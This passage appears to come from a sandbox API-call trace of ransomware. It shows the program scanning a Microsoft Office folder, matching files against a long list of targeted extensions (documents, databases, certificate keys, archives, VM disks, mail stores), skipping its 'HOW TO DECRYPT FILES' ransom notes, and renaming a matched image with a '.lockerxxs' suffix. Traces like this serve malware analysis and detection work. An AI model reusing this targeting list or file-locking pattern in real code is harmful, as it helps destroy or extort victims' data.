(pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.dat") returned 0 [0065.573] lstrlenA (lpString="*.dat") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.txt") returned 0 [0065.573] lstrlenA (lpString="*.txt") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.jpeg") returned 0 [0065.573] lstrlenA (lpString="*.jpeg") returned 6 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.jpg") returned 0 [0065.573] lstrlenA (lpString="*.jpg") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.png") returned 0 [0065.573] lstrlenA (lpString="*.png") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.php") returned 0 [0065.573] lstrlenA (lpString="*.php") returned 5 [0065.573] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.cs") returned 0 [0065.574] lstrlenA (lpString="*.cs") returned 4 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.cpp") returned 0 [0065.574] lstrlenA (lpString="*.cpp") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.rar") returned 0 [0065.574] lstrlenA (lpString="*.rar") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.zip") returned 0 [0065.574] lstrlenA (lpString="*.zip") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.html") returned 0 [0065.574] lstrlenA (lpString="*.html") returned 6 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.htm") returned 0 [0065.574] lstrlenA (lpString="*.htm") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.xlsx") returned 0 [0065.574] lstrlenA (lpString="*.xlsx") returned 6 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.xls") returned 0 [0065.574] lstrlenA (lpString="*.xls") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mp4") returned 0 [0065.574] lstrlenA (lpString="*.mp4") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.ppt") returned 0 [0065.574] lstrlenA (lpString="*.ppt") returned 5 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.pptx") returned 0 [0065.574] lstrlenA (lpString="*.pptx") returned 6 [0065.574] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.doc") returned 0 [0065.574] lstrlenA (lpString="*.doc") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.dot") returned 0 [0065.575] lstrlenA (lpString="*.dot") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.docx") returned 0 [0065.575] lstrlenA (lpString="*.docx") returned 6 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.7z") returned 0 [0065.575] lstrlenA (lpString="*.7z") returned 4 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.tar") returned 0 [0065.575] lstrlenA (lpString="*.tar") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.bz2") returned 0 [0065.575] lstrlenA (lpString="*.bz2") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.gz") returned 0 [0065.575] lstrlenA (lpString="*.gz") returned 4 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mkv") returned 0 [0065.575] lstrlenA (lpString="*.mkv") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.eml") returned 0 [0065.575] lstrlenA (lpString="*.eml") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.msg") returned 0 [0065.575] lstrlenA (lpString="*.msg") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.edb") returned 0 [0065.575] lstrlenA (lpString="*.edb") returned 5 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.accdb") returned 0 [0065.575] lstrlenA (lpString="*.accdb") returned 7 [0065.575] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.odb") returned 0 [0065.576] lstrlenA (lpString="*.odb") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.java") returned 0 [0065.576] lstrlenA (lpString="*.java") returned 6 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.asm") returned 0 [0065.576] lstrlenA (lpString="*.asm") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.pfx") returned 0 [0065.576] lstrlenA (lpString="*.pfx") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.pem") returned 0 [0065.576] lstrlenA (lpString="*.pem") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.p12") returned 0 [0065.576] lstrlenA (lpString="*.p12") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.gpg") returned 0 [0065.576] lstrlenA (lpString="*.gpg") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.vsd") returned 0 [0065.576] lstrlenA (lpString="*.vsd") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.odg") returned 0 [0065.576] lstrlenA (lpString="*.odg") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.raw") returned 0 [0065.576] lstrlenA (lpString="*.raw") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.nef") returned 0 [0065.576] lstrlenA (lpString="*.nef") returned 5 [0065.576] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.svg") returned 0 [0065.576] lstrlenA (lpString="*.svg") returned 5 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.psd") returned 0 [0065.577] lstrlenA (lpString="*.psd") returned 5 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.vmx") returned 0 [0065.577] lstrlenA (lpString="*.vmx") returned 5 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.vmdk") returned 0 [0065.577] lstrlenA (lpString="*.vmdk") returned 6 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.vdi") returned 0 [0065.577] lstrlenA (lpString="*.vdi") returned 5 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.lay6") returned 0 [0065.577] lstrlenA (lpString="*.lay6") returned 6 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mpeg") returned 0 [0065.577] lstrlenA (lpString="*.mpeg") returned 6 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.djvu") returned 0 [0065.577] lstrlenA (lpString="*.djvu") returned 6 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.tiff") returned 0 [0065.577] lstrlenA (lpString="*.tiff") returned 6 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.backup") returned 0 [0065.577] lstrlenA (lpString="*.backup") returned 8 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.pdf") returned 0 [0065.577] lstrlenA (lpString="*.pdf") returned 5 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.cert") returned 0 [0065.577] lstrlenA (lpString="*.cert") returned 6 [0065.577] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.docm") returned 0 [0065.578] lstrlenA (lpString="*.docm") returned 6 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.xlsm") returned 0 [0065.578] lstrlenA (lpString="*.xlsm") returned 6 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.dwg") returned 0 [0065.578] lstrlenA (lpString="*.dwg") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.nd") returned 0 [0065.578] lstrlenA (lpString="*.nd") returned 4 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.tlg") returned 0 [0065.578] lstrlenA (lpString="*.tlg") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.lgb") returned 0 [0065.578] lstrlenA (lpString="*.lgb") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mov") returned 0 [0065.578] lstrlenA (lpString="*.mov") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.xdw") returned 0 [0065.578] lstrlenA (lpString="*.xdw") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.ods") returned 0 [0065.578] lstrlenA (lpString="*.ods") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.wav") returned 0 [0065.578] lstrlenA (lpString="*.wav") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.mp3") returned 0 [0065.578] lstrlenA (lpString="*.mp3") returned 5 [0065.578] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.aiff") returned 0 [0065.578] lstrlenA (lpString="*.aiff") returned 6 [0065.579] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.flac") returned 0 [0065.579] lstrlenA (lpString="*.flac") returned 6 [0065.579] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.m4a") returned 0 [0065.579] lstrlenA (lpString="*.m4a") returned 5 [0065.579] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP", pszSpec="*.csv") returned 0 [0065.579] lstrlenA (lpString="*.csv") returned 5 [0065.579] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9b6, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="TABOFF.JPG", cAlternateFileName="")) returned 1 [0065.579] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.579] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TABOFF.JPG") returned -1 [0065.579] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TABOFF.JPG") returned -1 [0065.579] lstrcmpiA (lpString1="", lpString2="TABOFF.JPG") returned -1 [0065.579] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABMASK.BMP") returned="TABMASK.BMP" [0065.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.579] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.579] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.579] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.579] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="TABOFF.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" [0065.579] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.ems") returned 0 [0065.580] lstrlenA (lpString="*.ems") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.db") returned 0 [0065.580] lstrlenA (lpString="*.db") returned 4 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.dbf") returned 0 [0065.580] lstrlenA (lpString="*.dbf") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.myox") returned 0 [0065.580] lstrlenA (lpString="*.myox") returned 6 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.myo") returned 0 [0065.580] lstrlenA (lpString="*.myo") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qbw") returned 0 [0065.580] lstrlenA (lpString="*.qbw") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qbb") returned 0 [0065.580] lstrlenA (lpString="*.qbb") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qbm") returned 0 [0065.580] lstrlenA (lpString="*.qbm") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qbo") returned 0 [0065.580] lstrlenA (lpString="*.qbo") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qbx") returned 0 [0065.580] lstrlenA (lpString="*.qbx") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qba") returned 0 [0065.580] lstrlenA (lpString="*.qba") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qby") returned 0 [0065.580] lstrlenA (lpString="*.qby") returned 5 [0065.580] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qbj") returned 0 [0065.581] lstrlenA (lpString="*.qbj") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.ofx") returned 0 [0065.581] lstrlenA (lpString="*.ofx") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.qif") returned 0 [0065.581] lstrlenA (lpString="*.qif") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.mye") returned 0 [0065.581] lstrlenA (lpString="*.mye") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.mbox") returned 0 [0065.581] lstrlenA (lpString="*.mbox") returned 6 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.eml") returned 0 [0065.581] lstrlenA (lpString="*.eml") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.pst") returned 0 [0065.581] lstrlenA (lpString="*.pst") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.ost") returned 0 [0065.581] lstrlenA (lpString="*.ost") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.idx") returned 0 [0065.581] lstrlenA (lpString="*.idx") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.dbx") returned 0 [0065.581] lstrlenA (lpString="*.dbx") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.sql") returned 0 [0065.581] lstrlenA (lpString="*.sql") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.mdb") returned 0 [0065.581] lstrlenA (lpString="*.mdb") returned 5 [0065.581] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.fdb") returned 0 [0065.582] lstrlenA (lpString="*.fdb") returned 5 [0065.582] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.wab") returned 0 [0065.582] lstrlenA (lpString="*.wab") returned 5 [0065.582] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.dat") returned 0 [0065.582] lstrlenA (lpString="*.dat") returned 5 [0065.582] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.txt") returned 0 [0065.582] lstrlenA (lpString="*.txt") returned 5 [0065.582] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.jpeg") returned 0 [0065.582] lstrlenA (lpString="*.jpeg") returned 6 [0065.582] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", pszSpec="*.jpg") returned 1 [0065.582] lstrlenA (lpString="*.jpg") returned 5 [0065.582] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" [0065.582] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" [0065.582] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG." [0065.582] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.lockerxxs") returned="C:\\Program Files\\Microsoft 